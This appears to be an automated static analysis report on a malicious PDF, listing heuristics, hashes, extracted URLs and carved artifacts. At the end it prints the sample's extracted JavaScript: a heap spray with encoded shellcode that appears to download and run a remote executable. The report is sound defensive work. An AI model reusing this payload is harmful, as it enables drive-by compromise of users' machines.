Malicious PDF — malware analysis report

Static analysis result for SHA-256 79a835dca8eb1dfd…

MALICIOUS

PDF

37.7 KB
MD5: 77d130bc237caf5c5c7d2c2a5743a82f SHA-1: 5902a9e2ee18769650677a96fa61eb34ccb385cc SHA-256: 79a835dca8eb1dfd80765feb8adf40716db52196ac5eaa5b7a8c5b73f1713c52
186 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript, identified as a PDF JavaScript exploit cluster. The script constructs a long string which appears to be a URL, likely for downloading a second-stage payload. The presence of embedded Flash content and the ML classifier further indicate malicious intent. The script's obfuscation and the lack of direct URL reconstruction in the provided output limit confidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
  • ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX
    Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.flashandmath.com In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://adobe.com/AS3/2006/builtinIn PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
Adobe.swf
ce5f7936cf8e3536a88a804ce2d6902022df1794fa878bdc64a26866e34ba989		 pdf-embedded-file PDF EmbeddedFile object 16 at offset 0xAB9 55839 bytes
javascript_obj0006_000.js
ac76937a49e9f5592da8a93e26266b64b3bbf89af7687f759afad24e73c40c97		 pdf-javascript-stream PDF /JS object 6 at offset 0xF5 1570 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u692F\u666E\u6D6F\u7865\u6E6F\u696C\u656E\u632E\u6D6F\u782F\u7878\u2F2F\u6F64\u6E77\u6F6C\u6461\u665F\u6C69\u2E65\u6870\u3F70\u3D65\u6441\u626F\u2D65\u3032\u3031\u322D\u3838\uFF34\u03CD';while (padding.length < 65564){	padding+=padding;}var value = padding.substring(0, 0x5f4);value += html;value += padding;var destination = value.substring(0, 32768);while(1){	destination += destination;	if(destination.length >= 524288) break;}var today = destination.substring(0, 524288 - 2060);var forever = new Array();for (var infinite = 0; infinite < 496; infinite++){	forever[infinite]=today+'s';}

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